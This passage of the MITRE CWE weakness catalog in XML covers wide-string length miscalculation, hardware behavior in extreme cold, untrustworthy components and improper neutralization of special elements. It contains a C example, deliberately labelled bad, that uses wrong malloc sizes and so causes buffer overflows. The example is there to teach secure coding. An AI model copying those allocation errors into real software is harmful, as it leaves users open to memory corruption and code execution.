                  <xhtml:p>The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.</xhtml:p>
                  <xhtml:p>Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.</xhtml:p>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Always verify the length of the string unit character.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example would be exploitable if any of the commented incorrect malloc calls were used.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;strings.h&gt;<xhtml:br/>#include &lt;wchar.h&gt;<xhtml:br/>
                     <xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>wchar_t wideString[] = L"The spazzy orange tiger jumped " \<xhtml:br/>"over the tawny jaguar.";<xhtml:br/>wchar_t *newString;<xhtml:br/>
                           <xhtml:br/>printf("Strlen() output: %d\nWcslen() output: %d\n",<xhtml:br/>strlen(wideString), wcslen(wideString));<xhtml:br/>
                           <xhtml:br/>/* Wrong because the number of chars in a string isn't related to its length in bytes //<xhtml:br/>newString = (wchar_t *) malloc(strlen(wideString));<xhtml:br/>*/<xhtml:br/>
                           <xhtml:br/>/* Wrong because wide characters aren't 1 byte long! //<xhtml:br/>newString = (wchar_t *) malloc(wcslen(wideString));<xhtml:br/>*/<xhtml:br/>
                           <xhtml:br/>/* Wrong because wcslen does not include the terminating null */<xhtml:br/>newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));<xhtml:br/>
                           <xhtml:br/>/* correct! */<xhtml:br/>newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));<xhtml:br/>
                           <xhtml:br/>/* ... */</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The output from the printf() statement would be:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>Strlen() output: 0<xhtml:br/>Wcslen() output: 53</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Improper string length checking</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO10-J</Entry_ID>
               <Entry_Name>Ensure the array is filled when using read() to fill an array</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP10</Entry_ID>
               <Entry_Name>Incorrect Buffer Length Computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Unicode and ANSI Buffer Size Mismatches&#34; Page 153"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Gregory Padgett</Contribution_Name>
               <Contribution_Organization>Unitrends</Contribution_Organization>
               <Contribution_Date>2010-01-11</Contribution_Date>
               <Contribution_Comment>correction to Demonstrative_Example</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Improper String Length Checking</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1351" Name="Improper Handling of Hardware Behavior in Exceptionally Cold Environments" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>A hardware device, or the firmware running on it, is
                missing or has incorrect protection features to maintain
                goals of security primitives when the device is cooled below
                standard operating temperatures.</Description>
			<Extended_Description>
                <xhtml:p>The hardware designer may improperly anticipate
                    hardware behavior when exposed to exceptionally cold
                    conditions. As a result they may introduce a weakness by not
                    accounting for the modified behavior of critical components
                    when in extreme environments.</xhtml:p>
                <xhtml:p>An example of a change in behavior is that power loss
                    won't clear/reset any volatile state when cooled below
                    standard operating temperatures. This may result in
                    a weakness when the starting state of the volatile memory is
                    being relied upon for a security decision. For example, a
                    Physical Unclonable Function (PUF) may be supplied as a
                    security primitive to improve confidentiality,
                    authenticity, and integrity guarantees. However, when the
                    PUF is paired with DRAM, SRAM, or another temperature
                    sensitive entropy source, the system designer may introduce
                    weakness by failing to account for the chosen entropy
                    source's behavior at exceptionally low temperatures. In the
                    case of DRAM and SRAM, when power is cycled at low
                    temperatures, the device will not contain the bitwise
                    biasing caused by inconsistencies in manufacturing and will
                    instead contain the data from previous boot. Should the PUF
                    primitive be used in a cryptographic construction which
                    does not account for full adversary control of PUF seed
                    data, weakness would arise.</xhtml:p>
                <xhtml:p>This weakness does not cover "Cold Boot Attacks"
                    wherein RAM or other external storage is super cooled and
                    read externally by an attacker.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="1384" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Embedded" Prevalence="Undetermined"/>
				<Architecture Class="Microcomputer" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Scope>Authentication</Scope>
					<Impact>Varies by Context</Impact>
					<Impact>Unexpected State</Impact>
					<Likelihood>Low</Likelihood>
					<Note>Consequences of this weakness are highly contextual.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>The system should account for security primitive behavior when cooled outside standard temperatures.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1181"/>
				<Reference External_Reference_ID="REF-1182"/>
				<Reference External_Reference_ID="REF-1183"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Paul A. Wortman</Submission_Name>
					<Submission_Organization>Wells Fargo</Submission_Organization>
					<Submission_Date>2020-10-23</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1357" Name="Reliance on Insufficiently Trustworthy Component" Abstraction="Class" Structure="Simple" Status="Incomplete">
      <Description>The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.</Description>
      <Extended_Description>
		<xhtml:p>Many modern hardware and software products are built by combining multiple smaller components together into one larger entity, often during the design or architecture phase. For example, a hardware component might be built by a separate supplier, or the product might use an open-source software library from a third party.</xhtml:p>
		<xhtml:p>Regardless of the source, each component should be sufficiently trusted to ensure correct, secure operation of the product. If a component is not trustworthy, it can produce significant risks for the overall product, such as vulnerabilities that cannot be patched fast enough (if at all); hidden functionality such as malware; inability to update or replace the component if needed for security purposes; hardware components built from parts that do not meet specifications in ways that can lead to weaknesses; etc. Note that a component might not be trustworthy even if it is owned by the product vendor, such as a software component whose source code is lost and was built by developers who left the company, or a component that was developed by a separate company that was acquired and brought into the product's own company.</xhtml:p>
		<xhtml:p>Note that there can be disagreement as to whether a component is sufficiently trustworthy, since trust is ultimately subjective. Different stakeholders (e.g., customers, vendors, governments) have various threat models and ways to assess trust, and design/architecture choices might make tradeoffs between security, reliability, safety, privacy, cost, and other characteristics.</xhtml:p>
      </Extended_Description>
    <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
    </Related_Weaknesses>
    <Weakness_Ordinalities>
      <Weakness_Ordinality>
	<Ordinality>Indirect</Ordinality>
      </Weakness_Ordinality>
    </Weakness_Ordinalities>
    <Applicable_Platforms>
      <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
	  <Technology Class="ICS/OT" Prevalence="Undetermined"/>
    </Applicable_Platforms>
    <Modes_Of_Introduction>
      <Introduction>
		<Phase>Requirements</Phase>
		<Note>Requirements might include criteria for which the only available solutions are provided by insufficiently trusted components.</Note>
      </Introduction>
      <Introduction>
		<Phase>Architecture and Design</Phase>
		<Note>An insufficiently trusted component might be selected because it is less expensive to do in-house, requires expertise that is not available in-house, or might allow the product to reach the market faster.</Note>
      </Introduction>
    </Modes_Of_Introduction>
    <Common_Consequences>
      <Consequence>
	<Scope>Other</Scope>
	<Impact>Reduce Maintainability</Impact>
      </Consequence>
    </Common_Consequences>
    <Potential_Mitigations>
	  <Mitigation>
		<Phase>Requirements</Phase>
		<Phase>Architecture and Design</Phase>
		<Phase>Implementation</Phase>
		<Description>For each component, ensure that its supply chain is well-controlled with sub-tier suppliers using best practices. For third-party software components such as libraries, ensure that they are developed and actively maintained by reputable vendors.</Description>
	  </Mitigation>
      <Mitigation>
	<Phase>Architecture and Design</Phase>
	<Phase>Implementation</Phase>
	<Phase>Integration</Phase>
	<Phase>Manufacturing</Phase>
	<Description>Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."</Description>
      </Mitigation>
      <Mitigation>
	<Phase>Operation</Phase>
	<Phase>Patching and Maintenance</Phase>
	<Description>Continue to monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, supplier practices that affect trustworthiness, etc.</Description>
      </Mitigation>
    </Potential_Mitigations>
    <Observed_Examples>
      <Observed_Example>
        <Reference>CVE-2020-9054</Reference>
        <Description>Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097]</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
      </Observed_Example>
    </Observed_Examples>
    <References>
      <Reference External_Reference_ID="REF-1212"/>
      <Reference External_Reference_ID="REF-1246"/>
      <Reference External_Reference_ID="REF-1247"/>
      <Reference External_Reference_ID="REF-1097"/>
    </References>
    <Notes>
	  <Note Type="Maintenance">As of CWE 4.10, the name and description for this entry has undergone significant change and is still under public discussion, especially by members of the HW SIG.</Note>
    </Notes>
    <Content_History>
      <Submission>
	<Submission_Name>CWE Content Team</Submission_Name>
	<Submission_Organization>MITRE</Submission_Organization>
	<Submission_Date>2022-04-20</Submission_Date>
      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Maintenance_Notes, Modes_of_Introduction, Name, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2023-01-31">Reliance on Uncontrolled Component</Previous_Entry_Name>
    </Content_History>
  </Weakness>
      <Weakness ID="138" Name="Improper Neutralization of Special Elements" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.</Description>
         <Extended_Description>Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If product does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol &lt; ("less than") as meaning "read input from a file".</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their product. One defense is to create an allowlist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the allowlist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0677</Reference>
               <Description>Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0677</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0703</Reference>
               <Description>Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0703</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0020</Reference>
               <Description>Multi-channel issue. Terminal escape sequences not filtered from log files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0020</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0083</Reference>
               <Description>Multi-channel issue. Terminal escape sequences not filtered from log files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0083</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Special Elements (Characters or Reserved Words)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Custom Special Character Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="105"/>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="34"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.</Note>
            <Note Type="Relationship">See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.</Note>
            <Note Type="Research Gap">This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
